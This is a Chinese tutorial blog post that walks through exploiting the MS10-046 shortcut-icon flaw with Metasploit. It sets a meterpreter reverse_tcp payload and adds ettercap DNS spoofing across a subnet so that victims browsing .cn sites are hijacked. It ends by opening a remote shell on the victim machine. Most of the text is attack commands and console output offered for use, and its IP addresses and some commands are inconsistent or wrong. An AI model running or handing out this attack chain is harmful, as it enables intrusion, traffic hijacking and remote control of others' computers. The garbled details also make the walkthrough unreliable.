Metasploit的攻击实例讲解----ms10_046快捷方式图标漏洞

　　不多说，直接上干货！

准备工具

1、Kali linux 2016.2（Rolling）系统  IP:  192.168.1.103

2、受害者机子(windows XP系统）   IP:　　10.10.10.1.102

3、使用工具 msfconsole

步骤：

1、进入控制台

root@kali:~# msfconsole 

  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-                   ]
+ -- --=[  exploits -  auxiliary -  post        ]
+ -- --=[  payloads -  encoders -  nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

2、载入windows模块中的漏洞图标工具

msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader 

msf exploit(ms10_046_shortcut_icon_dllloader) >

　　因为，我们是针对windows里的浏览器的漏洞，ms10_046_shortcut_icon_dllloader 。

　　即，上述命令的意思是，通过use去调用这个工具。

3、需要配置的参数

msf exploit(ms10_046_shortcut_icon_dllloader) > show options

Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT                 yes       The daemon port to listen on (do not change)
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   UNCHOST                   no        The host portion of the UNC path to provide to clients (ex: 1.2.3.4).
   URIPATH  /                yes       The URI to use (do not change).

Exploit target:

   Id  Name
   --  ----
      Automatic

　　在执行这个工具漏洞的时候，yes选项是必须要配置的。no选项如果你没有特殊需要一般都是不需配置的。

　　以上是当前的值。

　　

msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST  192.168.1.102

SRVHOST => 192.168.1.102

　　set后面，接要攻击的主机。来改变当前的信息。大家可以用show options来查看。

　　

4、返回信息

msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms10_046_shortcut_icon_dllloader) > show options    ---查看配置信息

Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader):

   Name     Current Setting  Required  Description

   ----     ---------------  --------  -----------

   SRVHOST  10.10.10.129     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0

   SRVPORT                 yes       The daemon port to listen on (do not change)

   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

   UNCHOST                   no        The host portion of the UNC path to provide to clients (ex: 1.2.3.4).

   URIPATH  /                yes       The URI to use (do not change).

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------

   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT                  yes       The listen port

Exploit target:

   Id  Name
   --  ----
      Automatic

 show options  ， 以上，会同时看到，载荷模块和渗透攻击模块的信息。两个模块的参数信息，都可以看到。

　　反弹端口集群的ip   ，   LHOST即本机。

msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.1.102

LHOST => 192.168.1.102

或者可以如下

msf exploit(ms10_046_shortcut_icon_dllloader) > setg LHOST 192.168.1.102

LHOST => 192.168.1.102

5、执行攻击

msf exploit(ms10_046_shortcut_icon_dllloader) > exploit 

　　执行命令，它会根据你之前设置的参数信息，然后整合调用好，去发动这个攻击。

　　

　　本博文的攻击 , 它会自动地开启当前机器的 80端口，然后让别人去访问它，实现攻击。

　　注意：我们一般为了让攻击更主动和更完美，可以配合一个dns欺骗，那么对方就会主动上钩。不需我们等。这里用的是ettercap

　　如果，在BT5里，则是在/usr/local/share/ettercap下的etter.dns。

root@kali:/etc/ettercap# pwd
/etc/ettercap
root@kali:/etc/ettercap# ls
etter.conf  etter.dns  etter.mdns  etter.nbns
root@kali:/etc/ettercap# vi etter.dns 

　　那么，我们在这里。

　　cn  A   192.168.1.102

　　保存退出。

　　然后，（在Kali linux 2016.2（Rolling）机器）

 root@kali ettercap   -T    -q    -i    eth0    -P    dns_spoof    //   //

　　etho是当前使用的网卡   ，    //  //是对整个网段进行期盼。

　　然后，在受害者机器上，当受害者，随便输入什么，都会被解析。

　　之前呢，只要受害者，在浏览器里192.168.80.102:80端口才能，上了攻击者的全套。（做dns欺骗之前）

　　那么现在呢，只要受害者，访问.cn域名的时候，则会强行被欺骗成192.168.80.102:80 ，并会全部被攻击者劫持掉。这样我们可以就会控制受害者机器。

当我们不需了，我们按ctrl + c停止即可。（做dns欺骗之后）

　　然后我们，可以通过session命令，来进入，看到我们被攻击下来的这台受害机器的会话

msf exploit(ms10_046_shortcut_icon_dllloader) > session 

msf exploit(ms10_046_shortcut_icon_dllloader) > session   -i    1  （这个是-i来指定会话的id）

meterpreter > shell （这个是可以进入到cmd shell里）

c:\ > （即，进入了，被害者机器的windows命令）

当然若你不用了，你可以按ctrl +  c，则可以退回来

meterpreter > 

参考：菜鸟腾飞安全网VIP《MetaSploit渗透测试平台之应用》